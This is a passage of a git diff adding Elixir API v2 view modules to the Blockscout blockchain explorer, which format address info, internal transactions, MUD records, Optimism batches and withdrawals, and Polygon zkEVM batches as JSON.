%{ + required(:address) => Address.t(), + required(:field_prefix) => String.t() | nil, + optional(any) => any + }) :: map() + def put_filecoin_robust_address(result, %{ + address: %Address{filecoin_robust: filecoin_robust}, + field_prefix: field_prefix + }) do + put_filecoin_robust_address_internal(result, filecoin_robust, field_prefix) + end + + def put_filecoin_robust_address(result, %{field_prefix: field_prefix}) do + put_filecoin_robust_address_internal(result, nil, field_prefix) + end + + defp put_filecoin_robust_address_internal(result, filecoin_robust, field_prefix) do + field_name = (field_prefix && "#{field_prefix}_filecoin_robust_address") || "filecoin_robust_address" + Map.put(result, field_name, filecoin_robust) + end + + @doc """ + Preloads and inserts Filecoin robust addresses into the search results. + + ## Parameters + + - search_results: The search results that need to be enriched with Filecoin robust addresses. + + ## Returns + + - The search results with preloaded Filecoin robust addresses. + """ + @spec preload_and_put_filecoin_robust_address_to_search_results(list()) :: list() + def preload_and_put_filecoin_robust_address_to_search_results(search_results) do + addresses_map = + search_results + |> Enum.map(& &1["address_hash"]) + |> Enum.reject(&is_nil/1) + |> Chain.hashes_to_addresses(@api_true) + |> Enum.into(%{}, &{to_string(&1.hash), &1}) + + search_results + |> Enum.map(fn + %{"address_hash" => address_hash} = result when not is_nil(address_hash) -> + address = addresses_map[String.downcase(address_hash)] + put_filecoin_robust_address(result, %{address: address, field_prefix: nil}) + + other -> + other + end) + end + end +end + +# end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/v2/helper.ex b/apps/block_scout_web/lib/block_scout_web/views/api/v2/helper.ex new file mode 100644 index 000000000000..2c8e71c1eecf --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/api/v2/helper.ex @@ -0,0 +1,259 @@ +defmodule BlockScoutWeb.API.V2.Helper do + @moduledoc """ + API V2 helper + """ + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + alias Ecto.Association.NotLoaded + alias Explorer.Chain.{Address, SmartContract} + alias Explorer.Chain.SmartContract.Proxy + alias Explorer.Chain.Transaction.History.TransactionStats + + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] + import BlockScoutWeb.Models.GetAddressTags, only: [get_address_tags: 3] + + def address_with_info(conn, address, address_hash, tags_needed?, watchlist_names_cached \\ nil) + + def address_with_info(_, _, nil, _, _) do + nil + end + + def address_with_info(conn, address, address_hash, true, nil) do + %{ + common_tags: public_tags, + personal_tags: private_tags, + watchlist_names: watchlist_names + } = get_address_tags(address_hash, current_user(conn), api?: true) + + Map.merge(address_with_info(address, address_hash), %{ + "private_tags" => private_tags, + "watchlist_names" => watchlist_names, + "public_tags" => public_tags + }) + end + + def address_with_info(_conn, address, address_hash, false, nil) do + Map.merge(address_with_info(address, address_hash), %{ + "private_tags" => [], + "watchlist_names" => [], + "public_tags" => [] + }) + end + + def address_with_info(_conn, address, address_hash, _, watchlist_names_cached) do + watchlist_name = watchlist_names_cached[address_hash] + + Map.merge(address_with_info(address, address_hash), %{ + "private_tags" => [], + "watchlist_names" => if(watchlist_name, do: [watchlist_name], else: []), + "public_tags" => [] + }) + end + + @doc """ + Gets address with the additional info for api v2 + """ + @spec address_with_info(any(), any()) :: nil | %{optional(String.t()) => any()} + def address_with_info( + %Address{proxy_implementations: %NotLoaded{}, contract_code: contract_code} = _address, + _address_hash + ) + when not is_nil(contract_code) do + raise "proxy_implementations is not loaded for address" + end + + def address_with_info(%Address{} = address, _address_hash) do + smart_contract? = Address.smart_contract?(address) + + proxy_implementations = + case address.proxy_implementations do + %NotLoaded{} -> + nil + + nil -> + nil + + proxy_implementations -> + proxy_implementations + end + + %{ + "hash" => Address.checksum(address), + "is_contract" => smart_contract?, + "name" => address_name(address), + "is_scam" => address_marked_as_scam?(address), + "reputation" => (address_marked_as_scam?(address) && "scam") || "ok", + "proxy_type" => proxy_implementations && proxy_implementations.proxy_type, + "implementations" => Proxy.proxy_object_info(proxy_implementations), + "is_verified" => smart_contract_verified?(address) || verified_as_proxy?(proxy_implementations), + "ens_domain_name" => address.ens_domain_name, + "metadata" => address.metadata + } + |> address_chain_type_fields(address) + end + + def address_with_info(%NotLoaded{}, address_hash) do + address_with_info(nil, address_hash) + end + + def address_with_info(address_info, address_hash) when is_map(address_info) do + nil + |> address_with_info(address_hash) + |> Map.put("ens_domain_name", address_info[:ens_domain_name]) + |> Map.put("metadata", address_info[:metadata]) + end + + def address_with_info(nil, nil) do + nil + end + + def address_with_info(_, address_hash) do + %{ + "hash" => Address.checksum(address_hash), + "is_contract" => false, + "name" => nil, + "is_scam" => false, + "reputation" => "ok", + "proxy_type" => nil, + "implementations" => [], + "is_verified" => nil, + "ens_domain_name" => nil, + "metadata" => nil + } + end + + case @chain_type do + :filecoin -> + defp address_chain_type_fields(result, address) do + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + BlockScoutWeb.API.V2.FilecoinView.extend_address_json_response(result, address) + end + + _ -> + defp address_chain_type_fields(result, _address) do + result + end + end + + # We treat contracts with minimal proxy or similar standards as verified if all their implementations are verified + defp verified_as_proxy?(%{proxy_type: proxy_type, names: names}) + when proxy_type in [:eip1167, :eip7702, :clone_with_immutable_arguments, :erc7760] do + !Enum.empty?(names) && Enum.all?(names) + end + + defp verified_as_proxy?(_), do: false + + def address_name(%Address{names: [_ | _] = address_names}) do + case Enum.find(address_names, &(&1.primary == true)) do + nil -> + # take last created address name, if there is no `primary` one. + %Address.Name{name: name} = Enum.max_by(address_names, & &1.id) + name + + %Address.Name{name: name} -> + name + end + end + + def address_name(_), do: nil + + def address_marked_as_scam?(%Address{scam_badge: %Ecto.Association.NotLoaded{}}) do + false + end + + def address_marked_as_scam?(%Address{scam_badge: scam_badge}) when not is_nil(scam_badge) do + true + end + + def address_marked_as_scam?(_), do: false + + @doc """ + Determines if a smart contract is verified. + + ## Parameters + - address: An `%Address{}` struct containing smart contract information. + + ## Returns + - `false` if the smart contract has metadata from a verified bytecode twin. + - `false` if the smart contract is `nil`. + - `false` if the smart contract is `NotLoaded`. + - `true` if the smart contract is present and does not have metadata from a verified bytecode twin. + """ + @spec smart_contract_verified?(Address.t()) :: boolean() + def smart_contract_verified?(%Address{smart_contract: nil}), do: false + def smart_contract_verified?(%Address{smart_contract: %{metadata_from_verified_bytecode_twin: true}}), do: false + def smart_contract_verified?(%Address{smart_contract: %NotLoaded{}}), do: nil + def smart_contract_verified?(%Address{smart_contract: %SmartContract{}}), do: true + + def market_cap(:standard, %{available_supply: available_supply, fiat_value: fiat_value, market_cap: market_cap}) + when is_nil(available_supply) or is_nil(fiat_value) do + max(Decimal.new(0), market_cap) + end + + def market_cap(:standard, %{available_supply: available_supply, fiat_value: fiat_value}) do + Decimal.mult(available_supply, fiat_value) + end + + def market_cap(module, exchange_rate) do + module.market_cap(exchange_rate) + end + + def get_transaction_stats do + stats_scale = date_range(1) + transaction_stats = TransactionStats.by_date_range(stats_scale.earliest, stats_scale.latest) + + # Need datapoint for legend if none currently available. + if Enum.empty?(transaction_stats) do + [%{number_of_transactions: 0, gas_used: 0}] + else + transaction_stats + end + end + + def date_range(num_days) do + today = Date.utc_today() + latest = Date.add(today, -1) + x_days_back = Date.add(latest, -1 * (num_days - 1)) + %{earliest: x_days_back, latest: latest} + end + + @doc """ + Checks if an item associated with a DB entity has actual value + + ## Parameters + - `associated_item`: an item associated with a DB entity + + ## Returns + - `false`: if the item is nil or not loaded + - `true`: if the item has actual value + """ + @spec specified?(any()) :: boolean() + def specified?(associated_item) do + case associated_item do + nil -> false + %Ecto.Association.NotLoaded{} -> false + _ -> true + end + end + + @doc """ + Gets the value of an element nested in a map using two keys. + + Clarification: Returns `map[key1][key2]` + + ## Parameters + - `map`: The high-level map. + - `key1`: The key of the element in `map`. + - `key2`: The key of the element in the map accessible by `map[key1]`. + + ## Returns + The value of the element, or `nil` if the map accessible by `key1` does not exist. + """ + @spec get_2map_data(map(), any(), any()) :: any() + def get_2map_data(map, key1, key2) do + case Map.get(map, key1) do + nil -> nil + inner_map -> Map.get(inner_map, key2) + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/v2/internal_transaction_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/v2/internal_transaction_view.ex new file mode 100644 index 000000000000..d67b9f55fe0d --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/api/v2/internal_transaction_view.ex @@ -0,0 +1,58 @@ +defmodule BlockScoutWeb.API.V2.InternalTransactionView do + use BlockScoutWeb, :view + + alias BlockScoutWeb.API.V2.Helper + alias Explorer.Chain.{Block, InternalTransaction} + + def render("internal_transaction.json", %{internal_transaction: nil}) do + nil + end + + def render("internal_transaction.json", %{ + internal_transaction: internal_transaction, + block: block + }) do + prepare_internal_transaction(internal_transaction, block) + end + + def render("internal_transactions.json", %{ + internal_transactions: internal_transactions, + next_page_params: next_page_params + }) do + %{ + "items" => Enum.map(internal_transactions, &prepare_internal_transaction(&1, &1.block)), + "next_page_params" => next_page_params + } + end + + @doc """ + Prepares internal transaction object to be returned in the API v2 endpoints. + """ + @spec prepare_internal_transaction(InternalTransaction.t(), Block.t() | nil) :: map() + def prepare_internal_transaction(internal_transaction, block \\ nil) do + %{ + "error" => internal_transaction.error, + "success" => is_nil(internal_transaction.error), + "type" => internal_transaction.call_type || internal_transaction.type, + "transaction_hash" => internal_transaction.transaction_hash, + "transaction_index" => internal_transaction.transaction_index, + "from" => + Helper.address_with_info(nil, internal_transaction.from_address, internal_transaction.from_address_hash, false), + "to" => + Helper.address_with_info(nil, internal_transaction.to_address, internal_transaction.to_address_hash, false), + "created_contract" => + Helper.address_with_info( + nil, + internal_transaction.created_contract_address, + internal_transaction.created_contract_address_hash, + false + ), + "value" => internal_transaction.value, + "block_number" => internal_transaction.block_number, + "timestamp" => (block && block.timestamp) || internal_transaction.block.timestamp, + "index" => internal_transaction.index, + "gas_limit" => internal_transaction.gas, + "block_index" => internal_transaction.block_index + } + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/v2/mud_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/v2/mud_view.ex new file mode 100644 index 000000000000..b92f1f063fe0 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/api/v2/mud_view.ex @@ -0,0 +1,118 @@ +defmodule BlockScoutWeb.API.V2.MudView do + use BlockScoutWeb, :view + + alias BlockScoutWeb.API.V2.Helper + alias Explorer.Chain.{Address, Mud, Mud.Table} + + @doc """ + Function to render GET requests to `/api/v2/mud/worlds` endpoint. + """ + @spec render(String.t(), map()) :: map() + def render("worlds.json", %{worlds: worlds, next_page_params: next_page_params}) do + %{ + items: worlds |> Enum.map(&prepare_world_for_list/1), + next_page_params: next_page_params + } + end + + @doc """ + Function to render GET requests to `/api/v2/mud/worlds/count` endpoint. + """ + def render("count.json", %{count: count}) do + count + end + + @doc """ + Function to render GET requests to `/api/v2/mud/worlds/:world/tables` endpoint. + """ + def render("tables.json", %{tables: tables, next_page_params: next_page_params}) do + %{ + items: tables |> Enum.map(&%{table: Table.from(&1 |> elem(0)), schema: &1 |> elem(1)}), + next_page_params: next_page_params + } + end + + @doc """ + Function to render GET requests to `/api/v2/mud/worlds/:world/systems` endpoint. + """ + def render("systems.json", %{systems: systems}) do + %{ + items: systems |> Enum.map(&prepare_system_for_list/1) + } + end + + @doc """ + Function to render GET requests to `/api/v2/mud/worlds/:world/systems/:system` endpoint. + """ + def render("system.json", %{system_id: system_id, abi: abi}) do + %{ + name: system_id |> Table.from() |> Map.get(:table_full_name), + abi: abi + } + end + + @doc """ + Function to render GET requests to `/api/v2/mud/worlds/:world/tables/:table_id/records` endpoint. + """ + def render("records.json", %{ + records: records, + table_id: table_id, + schema: schema, + blocks: blocks, + next_page_params: next_page_params + }) do + %{ + items: records |> Enum.map(&format_record(&1, schema, blocks)), + table: table_id |> Table.from(), + schema: schema, + next_page_params: next_page_params + } + end + + @doc """ + Function to render GET requests to `/api/v2/mud/worlds/:world/tables/:table_id/records/:record_id` endpoint. + """ + def render("record.json", %{record: record, table_id: table_id, blocks: blocks, schema: schema}) do + %{ + record: record |> format_record(schema, blocks), + table: table_id |> Table.from(), + schema: schema + } + end + + defp prepare_world_for_list(%Address{} = address) do + %{ + "address" => Helper.address_with_info(address, address.hash), + "transactions_count" => address.transactions_count, + "coin_balance" => if(address.fetched_coin_balance, do: address.fetched_coin_balance.value) + } + end + + defp prepare_system_for_list({system_id, system}) do + %{ + name: system_id |> Table.from() |> Map.get(:table_full_name), + address_hash: system + } + end + + defp format_record(nil, _schema, _blocks), do: nil + + defp format_record(record, schema, blocks) do + %{ + id: record.key_bytes, + raw: %{ + key_bytes: record.key_bytes, + key0: record.key0, + key1: record.key1, + static_data: record.static_data, + encoded_lengths: record.encoded_lengths, + dynamic_data: record.dynamic_data, + block_number: record.block_number, + log_index: record.log_index + }, + is_deleted: record.is_deleted, + decoded: Mud.decode_record(record, schema), + timestamp: blocks |> Map.get(Decimal.to_integer(record.block_number), nil) + } + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/v2/optimism_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/v2/optimism_view.ex new file mode 100644 index 000000000000..87c29cc85772 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/api/v2/optimism_view.ex @@ -0,0 +1,487 @@ +defmodule BlockScoutWeb.API.V2.OptimismView do + use BlockScoutWeb, :view + + import Ecto.Query, only: [from: 2] + + alias BlockScoutWeb.API.V2.Helper + alias Explorer.{Chain, Repo} + alias Explorer.Chain.{Block, Transaction} + alias Explorer.Chain.Optimism.{DisputeGame, FrameSequence, FrameSequenceBlob, InteropMessage, Withdrawal} + + @api_true [api?: true] + + @doc """ + Function to render GET requests to `/api/v2/optimism/txn-batches` endpoint. + """ + @spec render(binary(), map()) :: map() | list() | non_neg_integer() + def render("optimism_transaction_batches.json", %{ + batches: batches, + next_page_params: next_page_params + }) do + items = + batches + |> Enum.map(fn batch -> + Task.async(fn -> + transactions_count = + Repo.replica().aggregate( + from( + t in Transaction, + inner_join: b in Block, + on: b.hash == t.block_hash and b.consensus == true, + where: t.block_number == ^batch.l2_block_number + ), + :count, + timeout: :infinity + ) + + %{ + "l2_block_number" => batch.l2_block_number, + "transactions_count" => transactions_count, + "l1_transaction_hashes" => batch.frame_sequence.l1_transaction_hashes, + "l1_timestamp" => batch.frame_sequence.l1_timestamp + } + end) + end) + |> Task.yield_many(:infinity) + |> Enum.map(fn {_task, {:ok, item}} -> item end) + + %{ + items: items, + next_page_params: next_page_params + } + end + + @doc """ + Function to render GET requests to `/api/v2/optimism/batches` endpoint. + """ + def render("optimism_batches.json", %{ + batches: batches, + next_page_params: next_page_params + }) do + items = + batches + |> Enum.map(fn batch -> + from..to//_ = batch.l2_block_range + + render_base_info_for_batch(batch.id, from, to, batch.transactions_count, batch) + end) + + %{ + items: items, + next_page_params: next_page_params + } + end + + @doc """ + Function to render GET requests to `/api/v2/optimism/batches/da/celestia/:height/:commitment` + and `/api/v2/optimism/batches/:number` endpoints. + """ + def render("optimism_batch.json", %{batch: batch}) do + batch + end + + @doc """ + Function to render GET requests to `/api/v2/optimism/output-roots` endpoint. + """ + def render("optimism_output_roots.json", %{ + roots: roots, + next_page_params: next_page_params + }) do + %{ + items: + Enum.map(roots, fn r -> + %{ + "l2_output_index" => r.l2_output_index, + "l2_block_number" => r.l2_block_number, + "l1_transaction_hash" => r.l1_transaction_hash, + "l1_timestamp" => r.l1_timestamp, + "l1_block_number" => r.l1_block_number, + "output_root" => r.output_root + } + end), + next_page_params: next_page_params + } + end + + @doc """ + Function to render GET requests to `/api/v2/optimism/games` endpoint. + """ + def render("optimism_games.json", %{ + games: games, + next_page_params: next_page_params + }) do + %{ + items: + Enum.map(games, fn g -> + status = + case g.status do + 0 -> "In progress" + 1 -> "Challenger wins" + 2 -> "Defender wins" + end + + l2_block_number = DisputeGame.l2_block_number_from_extra_data(g.extra_data) + + %{ + "index" => g.index, + "game_type" => g.game_type, + "contract_address_hash" => g.address_hash, + "l2_block_number" => l2_block_number, + "created_at" => g.created_at, + "status" => status, + "resolved_at" => g.resolved_at + } + end), + next_page_params: next_page_params + } + end + + @doc """ + Function to render GET requests to `/api/v2/optimism/deposits` endpoint. + """ + def render("optimism_deposits.json", %{ + deposits: deposits, + next_page_params: next_page_params + }) do + %{ + items: + Enum.map(deposits, fn deposit -> + %{ + "l1_block_number" => deposit.l1_block_number, + "l2_transaction_hash" => deposit.l2_transaction_hash, + "l1_block_timestamp" => deposit.l1_block_timestamp, + "l1_transaction_hash" => deposit.l1_transaction_hash, + "l1_transaction_origin" => deposit.l1_transaction_origin, + "l2_transaction_gas_limit" => deposit.l2_transaction.gas + } + end), + next_page_params: next_page_params + } + end + + @doc """ + Function to render GET requests to `/api/v2/main-page/optimism-deposits` endpoint. + """ + def render("optimism_deposits.json", %{deposits: deposits}) do + Enum.map(deposits, fn deposit -> + %{ + "l1_block_number" => deposit.l1_block_number, + "l1_block_timestamp" => deposit.l1_block_timestamp, + "l1_transaction_hash" => deposit.l1_transaction_hash, + "l2_transaction_hash" => deposit.l2_transaction_hash + } + end) + end + + @doc """ + Function to render GET requests to `/api/v2/optimism/withdrawals` endpoint. + """ + def render("optimism_withdrawals.json", %{ + withdrawals: withdrawals, + next_page_params: next_page_params, + conn: conn + }) do + respected_games = Withdrawal.respected_games(@api_true) + + %{ + items: + Enum.map(withdrawals, fn w -> + msg_nonce = + Bitwise.band( + Decimal.to_integer(w.msg_nonce), + 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF + ) + + msg_nonce_version = Bitwise.bsr(Decimal.to_integer(w.msg_nonce), 240) + + {from_address, from_address_hash} = + with false <- is_nil(w.from), + {:ok, address} <- + Chain.hash_to_address( + w.from, + necessity_by_association: %{ + :names => :optional, + :smart_contract => :optional, + proxy_implementations_association() => :optional + }, + api?: true + ) do + {address, address.hash} + else + _ -> {nil, nil} + end + + {status, challenge_period_end} = Withdrawal.status(w, respected_games, @api_true) + + %{ + "msg_nonce_raw" => Decimal.to_string(w.msg_nonce, :normal), + "msg_nonce" => msg_nonce, + "msg_nonce_version" => msg_nonce_version, + "from" => Helper.address_with_info(conn, from_address, from_address_hash, w.from), + "l2_transaction_hash" => w.l2_transaction_hash, + "l2_timestamp" => w.l2_timestamp, + "status" => status, + "l1_transaction_hash" => w.l1_transaction_hash, + "challenge_period_end" => challenge_period_end + } + end), + next_page_params: next_page_params + } + end + + @doc """ + Function to render GET requests to `/api/v2/optimism/:entity/count` endpoints. + """ + def render("optimism_items_count.json", %{count: count}) do + count + end + + @doc """ + Function to render GET requests to `/api/v2/optimism/interop/messages` endpoint. + """ + def render("optimism_interop_messages.json", %{ + messages: messages, + next_page_params: next_page_params + }) do + %{ + items: + Enum.map(messages, fn message -> + msg = + %{ + "unique_id" => InteropMessage.message_unique_id(message), + "nonce" => message.nonce, + "timestamp" => message.timestamp, + "status" => message.status, + "init_transaction_hash" => message.init_transaction_hash, + "relay_transaction_hash" => message.relay_transaction_hash, + "sender_address_hash" => message.sender_address_hash, + # todo: keep next line for compatibility with frontend and remove when new frontend is bound to `sender_address_hash` property + "sender" => message.sender_address_hash, + "target_address_hash" => message.target_address_hash, + # todo: keep next line for compatibility with frontend and remove when new frontend is bound to `target_address_hash` property + "target" => message.target_address_hash, + "payload" => message.payload + } + + # add chain info depending on whether this is incoming or outgoing message + msg + |> maybe_add_chain(:init_chain, message) + |> maybe_add_chain(:relay_chain, message) + end), + next_page_params: next_page_params + } + end + + @doc """ + Function to render GET requests to `/api/v2/optimism/interop/messages/:unique_id` endpoint. + """ + def render("optimism_interop_message.json", %{message: message}) do + %{ + "init_chain" => message.init_chain, + "init_transaction_hash" => message.init_transaction_hash, + "timestamp" => message.timestamp, + "sender_address_hash" => message.sender_address_hash, + "relay_chain" => message.relay_chain, + "relay_transaction_hash" => message.relay_transaction_hash, + "relay_transaction_failed" => message.failed, + "target_address_hash" => message.target_address_hash, + "transfer_token" => message.transfer_token, + "transfer_amount" => message.transfer_amount, + "transfer_from_address_hash" => message.transfer_from_address_hash, + "transfer_to_address_hash" => message.transfer_to_address_hash, + "nonce" => message.nonce, + "direction" => message.direction, + "status" => message.status, + "payload" => message.payload + } + end + + @doc """ + Function to render GET requests to `/api/v2/optimism/interop/public-key` endpoint. + """ + def render("optimism_interop_public_key.json", %{public_key: public_key}) do + %{"public_key" => public_key} + end + + @doc """ + Function to render `relay` response for the POST request to `/api/v2/import/optimism/interop/` endpoint. + """ + def render("optimism_interop_response.json", %{relay_transaction_hash: relay_transaction_hash, failed: failed}) do + %{ + "relay_transaction_hash" => relay_transaction_hash, + "failed" => failed + } + end + + @doc """ + Function to render `init` response for the POST request to `/api/v2/import/optimism/interop/` endpoint. + """ + def render("optimism_interop_response.json", %{ + sender_address_hash: sender_address_hash, + target_address_hash: target_address_hash, + init_transaction_hash: init_transaction_hash, + timestamp: timestamp, + payload: payload + }) do + %{ + "sender_address_hash" => sender_address_hash, + "target_address_hash" => target_address_hash, + "init_transaction_hash" => init_transaction_hash, + "timestamp" => if(not is_nil(timestamp), do: DateTime.to_unix(timestamp)), + "payload" => payload + } + end + + # Transforms an L1 batch into a map format for HTTP response. + # + # This function processes an Optimism L1 batch and converts it into a map that + # includes basic batch information. + # + # ## Parameters + # - `number`: The internal ID of the batch. + # - `l2_block_number_from`: Start L2 block number of the batch block range. + # - `l2_block_number_to`: End L2 block number of the batch block range. + # - `transactions_count`: The L2 transaction count included into the blocks of the range. + # - `batch`: Either an `Explorer.Chain.Optimism.FrameSequence` entry or a map with + # the corresponding fields. + # + # ## Returns + # - A map with detailed information about the batch formatted for use in JSON HTTP responses. + @spec render_base_info_for_batch( + non_neg_integer(), + non_neg_integer(), + non_neg_integer(), + non_neg_integer(), + FrameSequence.t() + | %{:l1_timestamp => DateTime.t(), :l1_transaction_hashes => list(), optional(any()) => any()} + ) :: %{ + :number => non_neg_integer(), + :l1_timestamp => DateTime.t(), + :l2_start_block_number => non_neg_integer(), + :l2_end_block_number => non_neg_integer(), + :transactions_count => non_neg_integer(), + :l1_transaction_hashes => list(), + :batch_data_container => :in_blob4844 | :in_celestia | :in_calldata | nil + } + defp render_base_info_for_batch(number, l2_block_number_from, l2_block_number_to, transactions_count, batch) do + FrameSequence.prepare_base_info_for_batch( + number, + l2_block_number_from, + l2_block_number_to, + transactions_count, + batch.batch_data_container, + batch + ) + end + + @doc """ + Extends the json output for a block using Optimism frame sequence (bound + with the provided L2 block) - adds info about L1 batch to the output. + + ## Parameters + - `out_json`: A map defining output json which will be extended. + - `block`: block structure containing frame sequence info related to the block. + + ## Returns + An extended map containing `optimism` item with the Optimism batch info + (L1 transaction hashes, timestamp, related blobs). + """ + @spec extend_block_json_response(map(), %{ + :__struct__ => Explorer.Chain.Block, + :op_frame_sequence => any(), + optional(any()) => any() + }) :: map() + def extend_block_json_response(out_json, %Block{} = block) do + frame_sequence = Map.get(block, :op_frame_sequence) + + if is_nil(frame_sequence) do + out_json + else + {batch_data_container, blobs} = FrameSequenceBlob.list(frame_sequence.id, api?: true) + + batch_info = + %{ + "number" => frame_sequence.id, + "l1_timestamp" => frame_sequence.l1_timestamp, + "l1_transaction_hashes" => frame_sequence.l1_transaction_hashes, + "batch_data_container" => batch_data_container + } + |> extend_batch_info_by_blobs(blobs, "blobs") + + Map.put(out_json, "optimism", batch_info) + end + end + + defp extend_batch_info_by_blobs(batch_info, blobs, field_name) do + if Enum.empty?(blobs) do + batch_info + else + Map.put(batch_info, field_name, blobs) + end + end + + @doc """ + Extends the json output for a transaction adding Optimism-related info to the output. + + ## Parameters + - `out_json`: A map defining output json which will be extended. + - `transaction`: transaction structure containing extra Optimism-related info. + + ## Returns + An extended map containing `l1_*` and `op_withdrawals` items related to Optimism. + """ + @spec extend_transaction_json_response(map(), %{ + :__struct__ => Explorer.Chain.Transaction, + optional(any()) => any() + }) :: map() + def extend_transaction_json_response(out_json, %Transaction{} = transaction) do + out_json + |> add_optional_transaction_field(transaction, :l1_fee) + |> add_optional_transaction_field(transaction, :l1_fee_scalar) + |> add_optional_transaction_field(transaction, :l1_gas_price) + |> add_optional_transaction_field(transaction, :l1_gas_used) + |> add_optimism_fields(transaction.hash) + end + + defp add_optional_transaction_field(out_json, transaction, field) do + case Map.get(transaction, field) do + nil -> out_json + value -> Map.put(out_json, Atom.to_string(field), value) + end + end + + defp add_optimism_fields(out_json, transaction_hash) do + withdrawals = + transaction_hash + |> Withdrawal.transaction_statuses() + |> Enum.map(fn {nonce, status, l1_transaction_hash} -> + %{ + "nonce" => nonce, + "status" => status, + "l1_transaction_hash" => l1_transaction_hash + } + end) + + interop_messages = + transaction_hash + |> InteropMessage.messages_by_transaction() + + out_json = Map.put(out_json, "op_withdrawals", withdrawals) + + if interop_messages == [] do + out_json + else + out_json + |> Map.put("op_interop_messages", interop_messages) + # TODO: remove the deprecated `op_interop` map after frontend switches to the new `op_interop_messages` + |> Map.put("op_interop", Enum.at(interop_messages, 0)) + end + end + + defp maybe_add_chain(msg, chain_key, message) do + case Map.fetch(message, chain_key) do + {:ok, chain} -> Map.put(msg, Atom.to_string(chain_key), chain) + _ -> msg + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/v2/polygon_zkevm_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/v2/polygon_zkevm_view.ex new file mode 100644 index 000000000000..63b726f35663 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/api/v2/polygon_zkevm_view.ex @@ -0,0 +1,190 @@ +defmodule BlockScoutWeb.API.V2.PolygonZkevmView do + use BlockScoutWeb, :view + + alias Explorer.Chain.PolygonZkevm.Reader + alias Explorer.Chain.Transaction + + @doc """ + Function to render GET requests to `/api/v2/zkevm/batches/:batch_number` endpoint. + """ + @spec render(binary(), map()) :: map() | non_neg_integer() + def render("zkevm_batch.json", %{batch: batch}) do + sequence_transaction_hash = + if Map.has_key?(batch, :sequence_transaction) and not is_nil(batch.sequence_transaction) do + batch.sequence_transaction.hash + end + + verify_transaction_hash = + if Map.has_key?(batch, :verify_transaction) and not is_nil(batch.verify_transaction) do + batch.verify_transaction.hash + end + + l2_transactions = + if Map.has_key?(batch, :l2_transactions) do + Enum.map(batch.l2_transactions, fn transaction -> transaction.hash end) + end + + %{ + "number" => batch.number, + "status" => batch_status(batch), + "timestamp" => batch.timestamp, + "transactions" => l2_transactions, + "global_exit_root" => batch.global_exit_root, + "acc_input_hash" => batch.acc_input_hash, + "sequence_transaction_hash" => sequence_transaction_hash, + "verify_transaction_hash" => verify_transaction_hash, + "state_root" => batch.state_root + } + end + + @doc """ + Function to render GET requests to `/api/v2/zkevm/batches` endpoint. + """ + def render("zkevm_batches.json", %{ + batches: batches, + next_page_params: next_page_params + }) do + %{ + items: render_zkevm_batches(batches), + next_page_params: next_page_params + } + end + + @doc """ + Function to render GET requests to `/api/v2/main-page/zkevm/batches/confirmed` endpoint. + """ + def render("zkevm_batches.json", %{batches: batches}) do + %{items: render_zkevm_batches(batches)} + end + + @doc """ + Function to render GET requests to `/api/v2/zkevm/batches/count` endpoint. + """ + def render("zkevm_batches_count.json", %{count: count}) do + count + end + + @doc """ + Function to render GET requests to `/api/v2/main-page/zkevm/batches/latest-number` endpoint. + """ + def render("zkevm_batch_latest_number.json", %{number: number}) do + number + end + + @doc """ + Function to render GET requests to `/api/v2/zkevm/deposits` and `/api/v2/zkevm/withdrawals` endpoints. + """ + def render("polygon_zkevm_bridge_items.json", %{ + items: items, + next_page_params: next_page_params + }) do + env = Application.get_all_env(:indexer)[Indexer.Fetcher.PolygonZkevm.BridgeL1] + + %{ + items: + Enum.map(items, fn item -> + l1_token = if is_nil(Map.get(item, :l1_token)), do: %{}, else: Map.get(item, :l1_token) + l2_token = if is_nil(Map.get(item, :l2_token)), do: %{}, else: Map.get(item, :l2_token) + + decimals = + cond do + not is_nil(Map.get(l1_token, :decimals)) -> Reader.sanitize_decimals(Map.get(l1_token, :decimals)) + not is_nil(Map.get(l2_token, :decimals)) -> Reader.sanitize_decimals(Map.get(l2_token, :decimals)) + true -> env[:native_decimals] + end + + symbol = + cond do + not is_nil(Map.get(l1_token, :symbol)) -> Map.get(l1_token, :symbol) + not is_nil(Map.get(l2_token, :symbol)) -> Map.get(l2_token, :symbol) + true -> env[:native_symbol] + end + + %{ + "block_number" => item.block_number, + "index" => item.index, + "l1_transaction_hash" => item.l1_transaction_hash, + "timestamp" => item.block_timestamp, + "l2_transaction_hash" => item.l2_transaction_hash, + "value" => fractional(Decimal.new(item.amount), Decimal.new(decimals)), + "symbol" => symbol + } + end), + next_page_params: next_page_params + } + end + + @doc """ + Function to render GET requests to `/api/v2/zkevm/deposits/count` and `/api/v2/zkevm/withdrawals/count` endpoints. + """ + def render("polygon_zkevm_bridge_items_count.json", %{count: count}) do + count + end + + defp batch_status(batch) do + sequence_id = Map.get(batch, :sequence_id) + verify_id = Map.get(batch, :verify_id) + + cond do + is_nil(sequence_id) && is_nil(verify_id) -> "Unfinalized" + !is_nil(sequence_id) && is_nil(verify_id) -> "L1 Sequence Confirmed" + !is_nil(verify_id) -> "Finalized" + end + end + + defp fractional(%Decimal{} = amount, %Decimal{} = decimals) do + amount.sign + |> Decimal.new(amount.coef, amount.exp - Decimal.to_integer(decimals)) + |> Decimal.normalize() + |> Decimal.to_string(:normal) + end + + defp render_zkevm_batches(batches) do + Enum.map(batches, fn batch -> + sequence_transaction_hash = + if not is_nil(batch.sequence_transaction) do + batch.sequence_transaction.hash + end + + verify_transaction_hash = + if not is_nil(batch.verify_transaction) do + batch.verify_transaction.hash + end + + %{ + "number" => batch.number, + "status" => batch_status(batch), + "timestamp" => batch.timestamp, + "transactions_count" 